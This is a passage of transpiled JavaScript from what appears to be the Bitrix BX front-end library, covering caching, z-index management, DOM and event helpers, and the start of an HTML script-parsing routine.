				_this = babelHelpers.possibleConstructorReturn(this, (_babelHelpers$getProt = babelHelpers.getPrototypeOf(MemoryCache)).call.apply(_babelHelpers$getProt, [this].concat(args)));
				babelHelpers.defineProperty(babelHelpers.assertThisInitialized(_this), "storage", new Map());
				return _this;
			}

			return MemoryCache;
		}(BaseCache);

		var LsStorage = /*#__PURE__*/function () {
			function LsStorage() {
				babelHelpers.classCallCheck(this, LsStorage);
				babelHelpers.defineProperty(this, "stackKey", 'BX.Cache.Storage.LsStorage.stack');
				babelHelpers.defineProperty(this, "stack", null);
			}

			babelHelpers.createClass(LsStorage, [{
				key: "getStack",

				/**
				 * @private
				 */
				value: function getStack() {
					if (Type.isPlainObject(this.stack)) {
						return this.stack;
					}

					var stack = localStorage.getItem(this.stackKey);

					if (Type.isString(stack) && stack !== '') {
						var parsedStack = JSON.parse(stack);

						if (Type.isPlainObject(parsedStack)) {
							this.stack = parsedStack;
							return this.stack;
						}
					}

					this.stack = {};
					return this.stack;
				}
				/**
				 * @private
				 */

			}, {
				key: "saveStack",
				value: function saveStack() {
					if (Type.isPlainObject(this.stack)) {
						var preparedStack = JSON.stringify(this.stack);
						localStorage.setItem(this.stackKey, preparedStack);
					}
				}
			}, {
				key: "get",
				value: function get(key) {
					var stack = this.getStack();
					return stack[key];
				}
			}, {
				key: "set",
				value: function set(key, value) {
					var stack = this.getStack();
					stack[key] = value;
					this.saveStack();
				}
			}, {
				key: "delete",
				value: function _delete(key) {
					var stack = this.getStack();

					if (key in stack) {
						delete stack[key];
					}
				}
			}, {
				key: "has",
				value: function has(key) {
					var stack = this.getStack();
					return key in stack;
				}
			}, {
				key: "keys",
				value: function keys() {
					var stack = this.getStack();
					return Object.keys(stack);
				}
			}, {
				key: "values",
				value: function values() {
					var stack = this.getStack();
					return Object.values(stack);
				}
			}, {
				key: "size",
				get: function get() {
					var stack = this.getStack();
					return Object.keys(stack).length;
				}
			}]);
			return LsStorage;
		}();

		var LocalStorageCache = /*#__PURE__*/function (_BaseCache) {
			babelHelpers.inherits(LocalStorageCache, _BaseCache);

			function LocalStorageCache() {
				var _babelHelpers$getProt;

				var _this;

				babelHelpers.classCallCheck(this, LocalStorageCache);

				for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
					args[_key] = arguments[_key];
				}

				_this = babelHelpers.possibleConstructorReturn(this, (_babelHelpers$getProt = babelHelpers.getPrototypeOf(LocalStorageCache)).call.apply(_babelHelpers$getProt, [this].concat(args)));
				babelHelpers.defineProperty(babelHelpers.assertThisInitialized(_this), "storage", new LsStorage());
				return _this;
			}

			return LocalStorageCache;
		}(BaseCache);

		/**
		 * @memberOf BX
		 */

		var Cache = function Cache() {
			babelHelpers.classCallCheck(this, Cache);
		};

		babelHelpers.defineProperty(Cache, "MemoryCache", MemoryCache);
		babelHelpers.defineProperty(Cache, "LocalStorageCache", LocalStorageCache);

		function convertPath(path) {
			if (Type.isStringFilled(path)) {
				return path.split('.').reduce(function (acc, item) {
					item.split(/\[['"]?(.+?)['"]?\]/g).forEach(function (key) {
						if (Type.isStringFilled(key)) {
							acc.push(key);
						}
					});
					return acc;
				}, []);
			}

			return [];
		}

		var SettingsCollection = /*#__PURE__*/function () {
			function SettingsCollection() {
				var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
				babelHelpers.classCallCheck(this, SettingsCollection);

				if (Type.isPlainObject(options)) {
					Object.assign(this, options);
				}
			}

			babelHelpers.createClass(SettingsCollection, [{
				key: "get",
				value: function get(path) {
					var defaultValue = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null;
					var convertedPath = convertPath(path);
					return convertedPath.reduce(function (acc, key) {
						if (!Type.isNil(acc) && acc !== defaultValue) {
							if (!Type.isUndefined(acc[key])) {
								return acc[key];
							}

							return defaultValue;
						}

						return acc;
					}, this);
				}
			}]);
			return SettingsCollection;
		}();

		function deepFreeze(target) {
			if (Type.isObject(target)) {
				Object.values(target).forEach(function (value) {
					deepFreeze(value);
				});
				return Object.freeze(target);
			}

			return target;
		}

		var settingsStorage = new Map();

		var Extension$1 = /*#__PURE__*/function () {
			function Extension() {
				babelHelpers.classCallCheck(this, Extension);
			}

			babelHelpers.createClass(Extension, null, [{
				key: "getSettings",
				value: function getSettings(extensionName) {
					if (Type.isStringFilled(extensionName)) {
						if (settingsStorage.has(extensionName)) {
							return settingsStorage.get(extensionName);
						}

						var settingsScriptNode = document.querySelector("script[data-extension=\"".concat(extensionName, "\"]"));

						if (Type.isDomNode(settingsScriptNode)) {
							var decodedSettings = function () {
								try {
									return new SettingsCollection(JSON.parse(settingsScriptNode.innerHTML));
								} catch (error) {
									return new SettingsCollection();
								}
							}();

							var frozenSettings = deepFreeze(decodedSettings);
							settingsStorage.set(extensionName, frozenSettings);
							return frozenSettings;
						}
					}

					return deepFreeze(new SettingsCollection());
				}
			}]);
			return Extension;
		}();

		var _Symbol$iterator;

		function _classPrivateMethodGet(receiver, privateSet, fn) { if (!privateSet.has(receiver)) { throw new TypeError("attempted to get private field on non-instance"); } return fn; }

		var _searchIndexToInsert = new WeakSet();

		_Symbol$iterator = Symbol.iterator;

		var OrderedArray = /*#__PURE__*/function () {
			function OrderedArray() {
				var comparator = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null;
				babelHelpers.classCallCheck(this, OrderedArray);

				_searchIndexToInsert.add(this);

				babelHelpers.defineProperty(this, "comparator", null);
				babelHelpers.defineProperty(this, "items", []);
				this.comparator = Type.isFunction(comparator) ? comparator : null;
			}

			babelHelpers.createClass(OrderedArray, [{
				key: "add",
				value: function add(item) {
					var index = -1;

					if (this.comparator) {
						index = _classPrivateMethodGet(this, _searchIndexToInsert, _searchIndexToInsert2).call(this, item);
						this.items.splice(index, 0, item);
					} else {
						this.items.push(item);
					}

					return index;
				}
			}, {
				key: "has",
				value: function has(item) {
					return this.items.includes(item);
				}
			}, {
				key: "getIndex",
				value: function getIndex(item) {
					return this.items.indexOf(item);
				}
			}, {
				key: "getByIndex",
				value: function getByIndex(index) {
					if (Type.isNumber(index) && index >= 0) {
						var item = this.items[index];
						return Type.isUndefined(item) ? null : item;
					}

					return null;
				}
			}, {
				key: "getFirst",
				value: function getFirst() {
					var first = this.items[0];
					return Type.isUndefined(first) ? null : first;
				}
			}, {
				key: "getLast",
				value: function getLast() {
					var last = this.items[this.count() - 1];
					return Type.isUndefined(last) ? null : last;
				}
			}, {
				key: "count",
				value: function count() {
					return this.items.length;
				}
			}, {
				key: "delete",
				value: function _delete(item) {
					var index = this.getIndex(item);

					if (index !== -1) {
						this.items.splice(index, 1);
						return true;
					}

					return false;
				}
			}, {
				key: "clear",
				value: function clear() {
					this.items = [];
				}
			}, {
				key: _Symbol$iterator,
				value: function value() {
					return this.items[Symbol.iterator]();
				}
			}, {
				key: "forEach",
				value: function forEach(callbackfn, thisArg) {
					return this.items.forEach(callbackfn, thisArg);
				}
			}, {
				key: "getAll",
				value: function getAll() {
					return this.items;
				}
			}, {
				key: "getComparator",
				value: function getComparator() {
					return this.comparator;
				}
			}, {
				key: "sort",
				value: function sort() {
					var _this = this;

					var comparator = this.getComparator();

					if (comparator === null) {
						return;
					}
					/*
	      Simple implementation
	      this.items.sort((item1, item2) => {
	      	return comparator(item1, item2);
	      });
	      */
					// For stable sorting https://v8.dev/features/stable-sort


					var length = this.items.length;
					var indexes = new Array(length);

					for (var i = 0; i < length; i++) {
						indexes[i] = i;
					} // If the comparator returns zero, use the original indexes


					indexes.sort(function (index1, index2) {
						return comparator(_this.items[index1], _this.items[index2]) || index1 - index2;
					});

					for (var _i = 0; _i < length; _i++) {
						indexes[_i] = this.items[indexes[_i]];
					}

					for (var _i2 = 0; _i2 < length; _i2++) {
						this.items[_i2] = indexes[_i2];
					}
				}
			}]);
			return OrderedArray;
		}();

		var _searchIndexToInsert2 = function _searchIndexToInsert2(value) {
			var low = 0;
			var high = this.items.length;

			while (low < high) {
				var mid = Math.floor((low + high) / 2);

				if (this.comparator(this.items[mid], value) >= 0) {
					high = mid;
				} else {
					low = mid + 1;
				}
			}

			return low;
		};

		var ZIndexComponent = /*#__PURE__*/function (_EventEmitter) {
			babelHelpers.inherits(ZIndexComponent, _EventEmitter);

			function ZIndexComponent(element) {
				var _this;

				var componentOptions = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
				babelHelpers.classCallCheck(this, ZIndexComponent);
				_this = babelHelpers.possibleConstructorReturn(this, babelHelpers.getPrototypeOf(ZIndexComponent).call(this));
				babelHelpers.defineProperty(babelHelpers.assertThisInitialized(_this), "sort", 0);
				babelHelpers.defineProperty(babelHelpers.assertThisInitialized(_this), "alwaysOnTop", false);
				babelHelpers.defineProperty(babelHelpers.assertThisInitialized(_this), "zIndex", 0);
				babelHelpers.defineProperty(babelHelpers.assertThisInitialized(_this), "element", null);
				babelHelpers.defineProperty(babelHelpers.assertThisInitialized(_this), "overlay", null);
				babelHelpers.defineProperty(babelHelpers.assertThisInitialized(_this), "overlayGap", -5);
				babelHelpers.defineProperty(babelHelpers.assertThisInitialized(_this), "stack", null);

				_this.setEventNamespace('BX.Main.ZIndexManager.Component');

				if (!Type.isElementNode(element)) {
					throw new Error('ZIndexManager.Component: The argument \'element\' must be a DOM element.');
				}

				_this.element = element;
				var options = Type.isPlainObject(componentOptions) ? componentOptions : {};

				_this.setAlwaysOnTop(options.alwaysOnTop);

				_this.setOverlay(options.overlay);

				_this.setOverlayGap(options.overlayGap);

				_this.subscribeFromOptions(options.events);

				return _this;
			}

			babelHelpers.createClass(ZIndexComponent, [{
				key: "getSort",
				value: function getSort() {
					return this.sort;
				}
				/**
				 * @internal
				 * @param sort
				 */

			}, {
				key: "setSort",
				value: function setSort(sort) {
					if (Type.isNumber(sort)) {
						this.sort = sort;
					}
				}
				/**
				 * @internal
				 * @param stack
				 */

			}, {
				key: "setStack",
				value: function setStack(stack) {
					this.stack = stack;
				}
			}, {
				key: "getStack",
				value: function getStack() {
					return this.stack;
				}
			}, {
				key: "getZIndex",
				value: function getZIndex() {
					return this.zIndex;
				}
				/**
				 * @internal
				 */

			}, {
				key: "setZIndex",
				value: function setZIndex(zIndex) {
					var changed = this.getZIndex() !== zIndex;
					this.getElement().style.setProperty('z-index', zIndex, 'important');
					this.zIndex = zIndex;

					if (this.getOverlay() !== null) {
						this.getOverlay().style.setProperty('z-index', zIndex + this.getOverlayGap(), 'important');
					}

					if (changed) {
						this.emit('onZIndexChange', {
							component: this
						});
					}
				}
			}, {
				key: "getAlwaysOnTop",
				value: function getAlwaysOnTop() {
					return this.alwaysOnTop;
				}
			}, {
				key: "setAlwaysOnTop",
				value: function setAlwaysOnTop(value) {
					if (Type.isNumber(value) || Type.isBoolean(value)) {
						this.alwaysOnTop = value;
					}
				}
			}, {
				key: "getElement",
				value: function getElement() {
					return this.element;
				}
			}, {
				key: "setOverlay",
				value: function setOverlay(overlay, gap) {
					if (Type.isElementNode(overlay) || overlay === null) {
						this.overlay = overlay;
						this.setOverlayGap(gap);

						if (this.getStack()) {
							this.getStack().sort();
						}
					}
				}
			}, {
				key: "getOverlay",
				value: function getOverlay() {
					return this.overlay;
				}
			}, {
				key: "setOverlayGap",
				value: function setOverlayGap(gap) {
					if (Type.isNumber(gap)) {
						this.overlayGap = gap;
					}
				}
			}, {
				key: "getOverlayGap",
				value: function getOverlayGap() {
					return this.overlayGap;
				}
			}]);
			return ZIndexComponent;
		}(EventEmitter);

		var ZIndexStack = /*#__PURE__*/function () {
			function ZIndexStack(container) {
				babelHelpers.classCallCheck(this, ZIndexStack);
				babelHelpers.defineProperty(this, "container", null);
				babelHelpers.defineProperty(this, "components", null);
				babelHelpers.defineProperty(this, "elements", new WeakMap());
				babelHelpers.defineProperty(this, "baseIndex", 1000);
				babelHelpers.defineProperty(this, "baseStep", 50);
				babelHelpers.defineProperty(this, "sortCount", 0);

				if (!Type.isDomNode(container)) {
					throw new Error('ZIndexManager.Stack: The \'container\' argument must be a DOM element.');
				}

				this.container = container;

				var comparator = function comparator(componentA, componentB) {
					var result = (componentA.getAlwaysOnTop() || 0) - (componentB.getAlwaysOnTop() || 0);

					if (!result) {
						result = componentA.getSort() - componentB.getSort();
					}

					return result;
				};

				this.components = new OrderedArray(comparator);
			}

			babelHelpers.createClass(ZIndexStack, [{
				key: "getBaseIndex",
				value: function getBaseIndex() {
					return this.baseIndex;
				}
			}, {
				key: "setBaseIndex",
				value: function setBaseIndex(index) {
					if (Type.isNumber(index) && index >= 0) {
						this.baseIndex = index;
						this.sort();
					}
				}
			}, {
				key: "setBaseStep",
				value: function setBaseStep(step) {
					if (Type.isNumber(step) && step > 0) {
						this.baseStep = step;
						this.sort();
					}
				}
			}, {
				key: "getBaseStep",
				value: function getBaseStep() {
					return this.baseStep;
				}
			}, {
				key: "register",
				value: function register(element) {
					var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};

					if (this.getComponent(element)) {
						console.warn('ZIndexManager: You cannot register the element twice.', element);
						return this.getComponent(element);
					}

					var component = new ZIndexComponent(element, options);
					component.setStack(this);
					component.setSort(++this.sortCount);
					this.elements.set(element, component);
					this.components.add(component);
					this.sort();
					return component;
				}
			}, {
				key: "unregister",
				value: function unregister(element) {
					var component = this.elements.get(element);
					this.components.delete(component);
					this.elements.delete(element);
					this.sort();
				}
			}, {
				key: "getComponent",
				value: function getComponent(element) {
					return this.elements.get(element) || null;
				}
			}, {
				key: "getComponents",
				value: function getComponents() {
					return this.components.getAll();
				}
			}, {
				key: "getMaxZIndex",
				value: function getMaxZIndex() {
					var last = this.components.getLast();
					return last ? last.getZIndex() : this.baseIndex;
				}
			}, {
				key: "sort",
				value: function sort() {
					var _this = this;

					this.components.sort();
					var zIndex = this.baseIndex;
					this.components.forEach(function (component) {
						component.setZIndex(zIndex);
						zIndex += _this.baseStep;
					});
				}
			}, {
				key: "bringToFront",
				value: function bringToFront(element) {
					var component = this.getComponent(element);

					if (!component) {
						console.error('ZIndexManager: element was not found in the stack.', element);
						return null;
					}

					component.setSort(++this.sortCount);
					this.sort();
					return component;
				}
			}]);
			return ZIndexStack;
		}();

		function _classStaticPrivateMethodGet(receiver, classConstructor, method) { if (receiver !== classConstructor) { throw new TypeError("Private static access of wrong provenance"); } return method; }

		/**
		 * @memberof BX
		 */
		var ZIndexManager = /*#__PURE__*/function () {
			function ZIndexManager() {
				babelHelpers.classCallCheck(this, ZIndexManager);
			}

			babelHelpers.createClass(ZIndexManager, null, [{
				key: "register",
				value: function register(element) {
					var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};

					var parentNode = _classStaticPrivateMethodGet(this, ZIndexManager, _getParentNode).call(this, element);

					if (!parentNode) {
						return null;
					}

					var stack = this.getOrAddStack(parentNode);
					return stack.register(element, options);
				}
			}, {
				key: "unregister",
				value: function unregister(element) {
					var parentNode = _classStaticPrivateMethodGet(this, ZIndexManager, _getParentNode).call(this, element);

					var stack = this.getStack(parentNode);

					if (stack) {
						stack.unregister(element);
					}
				}
			}, {
				key: "addStack",
				value: function addStack(container) {
					var stack = new ZIndexStack(container);
					this.stacks.set(container, stack);
					return stack;
				}
			}, {
				key: "getStack",
				value: function getStack(container) {
					return this.stacks.get(container) || null;
				}
			}, {
				key: "getOrAddStack",
				value: function getOrAddStack(container) {
					return this.getStack(container) || this.addStack(container);
				}
			}, {
				key: "getComponent",
				value: function getComponent(element) {
					var parentNode = _classStaticPrivateMethodGet(this, ZIndexManager, _getParentNode).call(this, element, true);

					if (!parentNode) {
						return null;
					}

					var stack = this.getStack(parentNode);
					return stack ? stack.getComponent(element) : null;
				}
			}, {
				key: "bringToFront",
				value: function bringToFront(element) {
					var parentNode = _classStaticPrivateMethodGet(this, ZIndexManager, _getParentNode).call(this, element);

					var stack = this.getStack(parentNode);

					if (stack) {
						return stack.bringToFront(element);
					}

					return null;
				}
			}]);
			return ZIndexManager;
		}();

		var _getParentNode = function _getParentNode(element) {
			var suppressWarnings = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;

			if (!Type.isElementNode(element)) {
				if (!suppressWarnings) {
					console.error('ZIndexManager: The argument \'element\' must be a DOM element.', element);
				}

				return null;
			} else if (!Type.isElementNode(element.parentNode)) {
				if (!suppressWarnings) {
					console.error('ZIndexManager: The \'element\' doesn\'t have a parent node.', element);
				}

				return null;
			}

			return element.parentNode;
		};

		babelHelpers.defineProperty(ZIndexManager, "stacks", new WeakMap());

		var collections = {
			OrderedArray: OrderedArray
		};

		function getElement(element) {
			if (Type.isString(element)) {
				return document.getElementById(element);
			}

			return element;
		}

		function getWindow(element) {
			if (Type.isElementNode(element)) {
				return element.ownerDocument.parentWindow || element.ownerDocument.defaultView || window;
			}

			if (Type.isDomNode(element)) {
				return element.parentWindow || element.defaultView || window;
			}

			return window;
		}

		/* eslint-disable prefer-rest-params */

		var getClass = Reflection.getClass,
			namespace = Reflection.namespace;
		var message$1 = message;
		/**
		 * @memberOf BX
		 */

		var replace = Dom.replace,
			remove = Dom.remove,
			clean = Dom.clean,
			insertBefore = Dom.insertBefore,
			insertAfter = Dom.insertAfter,
			append = Dom.append,
			prepend = Dom.prepend,
			style = Dom.style,
			adjust = Dom.adjust,
			create = Dom.create,
			isShown = Dom.isShown;
		var addClass = function addClass() {
			Dom.addClass.apply(Dom, babelHelpers.toConsumableArray(Runtime.merge([], Array.from(arguments), [getElement(arguments[0])])));
		};
		var removeClass = function removeClass() {
			Dom.removeClass.apply(Dom, babelHelpers.toConsumableArray(Runtime.merge(Array.from(arguments), [getElement(arguments[0])])));
		};
		var hasClass = function hasClass() {
			return Dom.hasClass.apply(Dom, babelHelpers.toConsumableArray(Runtime.merge(Array.from(arguments), [getElement(arguments[0])])));
		};
		var toggleClass = function toggleClass() {
			Dom.toggleClass.apply(Dom, babelHelpers.toConsumableArray(Runtime.merge(Array.from(arguments), [getElement(arguments[0])])));
		};
		var cleanNode = function cleanNode(element) {
			var removeElement = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
			var currentElement = getElement(element);

			if (Type.isDomNode(currentElement)) {
				Dom.clean(currentElement);

				if (removeElement) {
					Dom.remove(currentElement);
					return currentElement;
				}
			}

			return currentElement;
		};
		var getCookie = Http.Cookie.get;
		var setCookie = function setCookie(name, value) {
			var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};
			var attributes = babelHelpers.objectSpread({}, options);

			if (Type.isNumber(attributes.expires)) {
				attributes.expires /= 3600 * 24;
			}

			Http.Cookie.set(name, value, attributes);
		};
		var bind$1 = Event.bind,
			unbind$1 = Event.unbind,
			unbindAll$1 = Event.unbindAll,
			bindOnce$1 = Event.bindOnce,
			ready$1 = Event.ready;
		var debugEnableFlag = debugState,
			debugStatus = isDebugEnabled,
			debug$1 = debug;
		var debugEnable = function debugEnable(value) {
			if (value) {
				enableDebug();
			} else {
				disableDebug();
			}
		};
		var clone$1 = Runtime.clone,
			loadExt = Runtime.loadExtension,
			debounce = Runtime.debounce,
			throttle = Runtime.throttle,
			html = Runtime.html; // BX.type
		var type = babelHelpers.objectSpread({}, Object.getOwnPropertyNames(Type).filter(function (key) {
			return !['name', 'length', 'prototype', 'caller', 'arguments'].includes(key);
		}).reduce(function (acc, key) {
			acc[key] = Type[key];
			return acc;
		}, {}), {
			isNotEmptyString: function isNotEmptyString(value) {
				return Type.isString(value) && value !== '';
			},
			isNotEmptyObject: function isNotEmptyObject(value) {
				return Type.isObjectLike(value) && Object.keys(value).length > 0;
			},
			isMapKey: Type.isObject,
			stringToInt: function stringToInt(value) {
				var parsed = parseInt(value);
				return !Number.isNaN(parsed) ? parsed : 0;
			}
		}); // BX.browser

		var browser = {
			IsOpera: Browser.isOpera,
			IsIE: Browser.isIE,
			IsIE6: Browser.isIE6,
			IsIE7: Browser.isIE7,
			IsIE8: Browser.isIE8,
			IsIE9: Browser.isIE9,
			IsIE10: Browser.isIE10,
			IsIE11: Browser.isIE11,
			IsSafari: Browser.isSafari,
			IsFirefox: Browser.isFirefox,
			IsChrome: Browser.isChrome,
			DetectIeVersion: Browser.detectIEVersion,
			IsMac: Browser.isMac,
			IsAndroid: Browser.isAndroid,
			isIPad: Browser.isIPad,
			isIPhone: Browser.isIPhone,
			IsIOS: Browser.isIOS,
			IsMobile: Browser.isMobile,
			isRetina: Browser.isRetina,
			IsDoctype: Browser.isDoctype,
			SupportLocalStorage: Browser.isLocalStorageSupported,
			addGlobalClass: Browser.addGlobalClass,
			DetectAndroidVersion: Browser.detectAndroidVersion,
			isPropertySupported: Browser.isPropertySupported,
			addGlobalFeatures: Browser.addGlobalFeatures
		}; // eslint-disable-next-line

		var ajax = window.BX ? window.BX.ajax : function () {};
		function GetWindowScrollSize() {
			var doc = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : document;
			return {
				scrollWidth: doc.documentElement.scrollWidth,
				scrollHeight: doc.documentElement.scrollHeight
			};
		}
		function GetWindowScrollPos() {
			var doc = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : document;
			var win = getWindow(doc);
			return {
				scrollLeft: win.pageXOffset,
				scrollTop: win.pageYOffset
			};
		}
		function GetWindowInnerSize() {
			var doc = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : document;
			var win = getWindow(doc);
			return {
				innerWidth: win.innerWidth,
				innerHeight: win.innerHeight
			};
		}
		function GetWindowSize() {
			var doc = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : document;
			return babelHelpers.objectSpread({}, GetWindowInnerSize(doc), GetWindowScrollPos(doc), GetWindowScrollSize(doc));
		}
		function GetContext(node) {
			return getWindow(node);
		}
		function pos(element) {
			var relative = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;

			if (!element) {
				return new DOMRect().toJSON();
			}

			if (element.ownerDocument === document && !relative) {
				var clientRect = element.getBoundingClientRect();
				var root = document.documentElement;
				var _document = document,
					body = _document.body;
				return {
					top: Math.round(clientRect.top + (root.scrollTop || body.scrollTop)),
					left: Math.round(clientRect.left + (root.scrollLeft || body.scrollLeft)),
					width: Math.round(clientRect.right - clientRect.left),
					height: Math.round(clientRect.bottom - clientRect.top),
					right: Math.round(clientRect.right + (root.scrollLeft || body.scrollLeft)),
					bottom: Math.round(clientRect.bottom + (root.scrollTop || body.scrollTop))
				};
			}

			var x = 0;
			var y = 0;
			var w = element.offsetWidth;
			var h = element.offsetHeight;
			var first = true; // eslint-disable-next-line no-param-reassign

			for (; element != null; element = element.offsetParent) {
				if (!first && relative && BX.is_relative(element)) {
					break;
				}

				x += element.offsetLeft;
				y += element.offsetTop;

				if (first) {
					first = false; // eslint-disable-next-line no-continue

					continue;
				}

				x += Text.toNumber(Dom.style(element, 'border-left-width'));
				y += Text.toNumber(Dom.style(element, 'border-top-width'));
			}

			return new DOMRect(x, y, w, h).toJSON();
		}
		function addCustomEvent(eventObject, eventName, eventHandler) {
			if (Type.isString(eventObject)) {
				eventHandler = eventName;
				eventName = eventObject;
				eventObject = EventEmitter.GLOBAL_TARGET;
			}

			if (eventObject === window) {
				eventObject = EventEmitter.GLOBAL_TARGET;
			}

			if (!Type.isObject(eventObject)) {
				console.error('The "eventObject" argument must be an object. Received type ' + babelHelpers.typeof(eventObject) + '.');
				return;
			}

			if (!Type.isStringFilled(eventName)) {
				console.error('The "eventName" argument must be a string.');
				return;
			}

			if (!Type.isFunction(eventHandler)) {
				console.error('The "eventHandler" argument must be a function. Received type ' + babelHelpers.typeof(eventHandler) + '.');
				return;
			}

			eventName = eventName.toLowerCase();
			EventEmitter.subscribe(eventObject, eventName, eventHandler, {
				compatMode: true,
				useGlobalNaming: true
			});
		}
		function onCustomEvent(eventObject, eventName, eventParams, secureParams) {
			if (Type.isString(eventObject)) {
				secureParams = eventParams;
				eventParams = eventName;
				eventName = eventObject;
				eventObject = EventEmitter.GLOBAL_TARGET;
			}

			if (!Type.isObject(eventObject) || eventObject === window) {
				eventObject = EventEmitter.GLOBAL_TARGET;
			}

			if (!eventParams) {
				eventParams = [];
			}

			eventName = eventName.toLowerCase();
			var event = new BaseEvent();
			event.setData(eventParams);
			event.setCompatData(eventParams);
			EventEmitter.emit(eventObject, eventName, event, {
				cloneData: secureParams === true,
				useGlobalNaming: true
			});
		}
		function removeCustomEvent(eventObject, eventName, eventHandler) {
			if (Type.isString(eventObject)) {
				eventHandler = eventName;
				eventName = eventObject;
				eventObject = EventEmitter.GLOBAL_TARGET;
			}

			if (!Type.isFunction(eventHandler)) {
				console.error('The "eventHandler" argument must be a function. Received type ' + babelHelpers.typeof(eventHandler) + '.');
				return;
			}

			if (eventObject === window) {
				eventObject = EventEmitter.GLOBAL_TARGET;
			}

			eventName = eventName.toLowerCase();
			EventEmitter.unsubscribe(eventObject, eventName, eventHandler, {
				useGlobalNaming: true
			});
		}
		function removeAllCustomEvents(eventObject, eventName) {
			if (Type.isString(eventObject)) {
				eventName = eventObject;
				eventObject = EventEmitter.GLOBAL_TARGET;
			}

			if (eventObject === window) {
				eventObject = EventEmitter.GLOBAL_TARGET;
			}

			eventName = eventName.toLowerCase();
			EventEmitter.unsubscribeAll(eventObject, eventName, {
				useGlobalNaming: true
			});
		}

		if (global && global.window && global.window.BX) {
			Object.assign(global.window.BX, exports);
		}

		exports.Type = Type;
		exports.Reflection = Reflection;
		exports.Text = Text;
		exports.Dom = Dom;
		exports.Browser = Browser;
		exports.Event = Event;
		exports.Http = Http;
		exports.Runtime = Runtime;
		exports.Loc = Loc;
		exports.Tag = Tag;
		exports.Uri = Uri;
		exports.Validation = Validation;
		exports.Cache = Cache;
		exports.BaseError = BaseError;
		exports.Extension = Extension$1;
		exports.ZIndexManager = ZIndexManager;
		exports.Collections = collections;
		exports.getClass = getClass;
		exports.namespace = namespace;
		exports.message = message$1;
		exports.replace = replace;
		exports.remove = remove;
		exports.clean = clean;
		exports.insertBefore = insertBefore;
		exports.insertAfter = insertAfter;
		exports.append = append;
		exports.prepend = prepend;
		exports.style = style;
		exports.adjust = adjust;
		exports.create = create;
		exports.isShown = isShown;
		exports.addClass = addClass;
		exports.removeClass = removeClass;
		exports.hasClass = hasClass;
		exports.toggleClass = toggleClass;
		exports.cleanNode = cleanNode;
		exports.getCookie = getCookie;
		exports.setCookie = setCookie;
		exports.bind = bind$1;
		exports.unbind = unbind$1;
		exports.unbindAll = unbindAll$1;
		exports.bindOnce = bindOnce$1;
		exports.ready = ready$1;
		exports.debugEnableFlag = debugEnableFlag;
		exports.debugStatus = debugStatus;
		exports.debug = debug$1;
		exports.debugEnable = debugEnable;
		exports.clone = clone$1;
		exports.loadExt = loadExt;
		exports.debounce = debounce;
		exports.throttle = throttle;
		exports.html = html;
		exports.type = type;
		exports.browser = browser;
		exports.ajax = ajax;
		exports.GetWindowScrollSize = GetWindowScrollSize;
		exports.GetWindowScrollPos = GetWindowScrollPos;
		exports.GetWindowInnerSize = GetWindowInnerSize;
		exports.GetWindowSize = GetWindowSize;
		exports.GetContext = GetContext;
		exports.pos = pos;
		exports.addCustomEvent = addCustomEvent;
		exports.onCustomEvent = onCustomEvent;
		exports.removeCustomEvent = removeCustomEvent;
		exports.removeAllCustomEvents = removeAllCustomEvents;

	}((this.BX = this.BX || {})));



	(function(BX) {
		/* list of registered proxy functions */
		var proxyList = new WeakMap();
		var deferList = new WeakMap();

		/* List of denied event handlers */
		var deniedEvents = [];

		/* list of registered custom events */
		var customEvents = new WeakMap();
		var customEventsCnt = 0;

		/* list of external garbage collectors */
		var garbageCollectors = [];

		/* list of loaded CSS files */
		var cssList = [];
		var cssInit = false;

		/* list of loaded JS files */
		var jsList = [];
		var jsInit = false;

		var eventTypes = {
			click: 'MouseEvent',
			dblclick: 'MouseEvent',
			mousedown: 'MouseEvent',
			mousemove: 'MouseEvent',
			mouseout: 'MouseEvent',
			mouseover: 'MouseEvent',
			mouseup: 'MouseEvent',
			focus: 'MouseEvent',
			blur: 'MouseEvent'
		};

		var lastWait = [];

		var CHECK_FORM_ELEMENTS = {tagName: /^INPUT|SELECT|TEXTAREA|BUTTON$/i};

		var PRELOADING = 1;
		var PRELOADED = 2;
		var LOADING = 3;
		var LOADED = 4;
		var assets = {};
		var isAsync = null;

		BX.MSLEFT = 1;
		BX.MSMIDDLE = 2;
		BX.MSRIGHT = 4;

		BX.AM_PM_UPPER = 1;
		BX.AM_PM_LOWER = 2;
		BX.AM_PM_NONE = false;

		BX.ext = function(ob)
		{
			for (var i in ob)
			{
				if(ob.hasOwnProperty(i))
				{
					this[i] = ob[i];
				}
			}
		};

		var r = {
			script: /<script([^>]*)>/ig,
			script_end: /<\/script>/ig,
			script_src: /src=["\']([^"\']+)["\']/i,
			script_type: /type=["\']([^"\']+)["\']/i,
			space: /\s+/,
			ltrim: /^[\s\r\n]+/g,
			rtrim: /[\s\r\n]+$/g,
			style: /<link.*?(rel="stylesheet"|type="text\/css")[^>]*>/i,
			style_href: /href=["\']([^"\']+)["\']/i
		};

		BX.processHTML = function(data, scriptsRunFirst)
		{
			var matchScript, matchStyle, matchSrc, matchHref, matchType, scripts = [], styles = [];
			var textIndexes = [];
			var lastIndex = r.script.lastIndex = r.script_end.lastIndex = 0;

			while ((matchScript = r.script.exec(data)) !== null)
			{
				r.script_end.lastIndex = r.script.lastIndex;
				var matchScriptEnd = r.script_end.exec(data);
				if (matchScriptEnd === null)
				{
					break;
				}

				// skip script tags of special types
				var skipTag = false;
				if ((matchType = matchScript[1].match(r.script_type)) !== null)
				{
					if(
						matchType[1] == 'text/html'
						|| matchType[1] == 'text/template'
						|| matchType[1] == 'extension/settings'
					)
					{
						skipTag = true;
					}
				}

				if(skipTag)
				{
					textIndexes.push([lastIndex, r.script_end.lastIndex - lastIndex]);
				}
				else
				{
